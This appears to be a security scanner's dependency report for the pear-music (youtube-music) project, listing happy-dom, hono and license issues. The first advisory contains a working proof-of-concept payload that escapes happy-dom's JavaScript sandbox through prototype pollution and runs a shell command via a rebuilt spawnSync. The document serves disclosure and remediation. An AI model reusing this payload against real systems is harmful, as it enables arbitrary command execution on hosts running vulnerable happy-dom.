Find, fix and prevent vulnerabilities in your code.
critical severity
new
- Vulnerable module: happy-dom
- Introduced through: happy-dom@18.0.1
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › happy-dom@18.0.1Remediation: Upgrade to happy-dom@20.0.2.
Overview
happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Prototype Pollution via the shared process
between untrusted scripts and the main application. An attacker can execute arbitrary commands and gain control over the environment by deploying prototype pollution payloads to hijack references such as process
or manipulate control flow through property checks. This allows the attacker to break out of the intended isolation and perform unauthorized actions.
PoC
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade happy-dom
to version 20.0.2 or higher.
References
critical severity
new
- Vulnerable module: happy-dom
- Introduced through: happy-dom@18.0.1
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › happy-dom@18.0.1Remediation: Upgrade to happy-dom@20.0.0.
Overview
happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection due to default evaluation of code from strings. An attacker can execute arbitrary code on the host system by running untrusted JavaScript code that escapes the intended sandbox and gains access to process-level functionality. Additionally, if the process is executed with CommonJS, the attacker can get hold of the require() function to import modules.
Remediation
Upgrade happy-dom
to version 20.0.0 or higher.
References
medium severity
- Vulnerable module: hono
- Introduced through: hono@4.9.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › hono@4.9.6Remediation: Upgrade to hono@4.9.7.
Overview
hono is an Ultrafast web framework for the Edges
Affected versions of this package are vulnerable to HTTP Request Smuggling via the bodyLimit
middleware when conflicting HTTP headers are present. An attacker can cause excessive memory or CPU consumption by sending oversized request bodies that bypass the configured size limit.
Note:
This is exploitable if the deployment environment or runtime does not reject requests with both Content-Length
and Transfer-Encoding: chunked
headers.
Remediation
Upgrade hono
to version 4.9.7 or higher.
References
medium severity
- Module: @dehoist/romanize-thai
- Introduced through: @dehoist/romanize-thai@1.0.0
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @dehoist/romanize-thai@1.0.0
MPL-2.0 license
medium severity
- Module: @ghostery/adblocker
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4
MPL-2.0 license
medium severity
- Module: @ghostery/adblocker-content
- Introduced through: @ghostery/adblocker-electron-preload@2.11.6 and @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron-preload@2.11.6 › @ghostery/adblocker-content@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @ghostery/adblocker-content@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker-electron-preload@2.12.4 › @ghostery/adblocker-content@2.12.4
MPL-2.0 license
medium severity
- Module: @ghostery/adblocker-electron
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6
MPL-2.0 license
medium severity
- Module: @ghostery/adblocker-electron-preload
- Introduced through: @ghostery/adblocker-electron@2.11.6 and @ghostery/adblocker-electron-preload@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker-electron-preload@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron-preload@2.11.6
MPL-2.0 license
medium severity
- Module: @ghostery/adblocker-extended-selectors
- Introduced through: @ghostery/adblocker-electron-preload@2.11.6 and @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron-preload@2.11.6 › @ghostery/adblocker-content@2.12.4 › @ghostery/adblocker-extended-selectors@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @ghostery/adblocker-extended-selectors@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @ghostery/adblocker-content@2.12.4 › @ghostery/adblocker-extended-selectors@2.12.4
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker-electron-preload@2.12.4 › @ghostery/adblocker-content@2.12.4 › @ghostery/adblocker-extended-selectors@2.12.4
MPL-2.0 license
medium severity
- Module: @ghostery/url-parser
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @ghostery/url-parser@1.3.0
MPL-2.0 license
medium severity
- Module: @remusao/guess-url-type
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/guess-url-type@2.1.0
MPL-2.0 license
medium severity
- Module: @remusao/small
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/small@2.1.0
MPL-2.0 license
medium severity
- Module: @remusao/smaz
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/smaz@2.2.0
MPL-2.0 license
medium severity
- Module: @remusao/smaz-compress
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/smaz@2.2.0 › @remusao/smaz-compress@2.2.0
MPL-2.0 license
medium severity
- Module: @remusao/smaz-decompress
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/smaz@2.2.0 › @remusao/smaz-decompress@2.2.0
MPL-2.0 license
medium severity
- Module: @remusao/trie
- Introduced through: @ghostery/adblocker-electron@2.11.6
Detailed paths
-
Introduced through: pear-music@th-ch/youtube-music#cdb1ccec7611cfdbc926556208000267bb0d01dc › @ghostery/adblocker-electron@2.11.6 › @ghostery/adblocker@2.12.4 › @remusao/smaz@2.2.0 › @remusao/smaz-compress@2.2.0 › @remusao/trie@2.1.0
MPL-2.0 license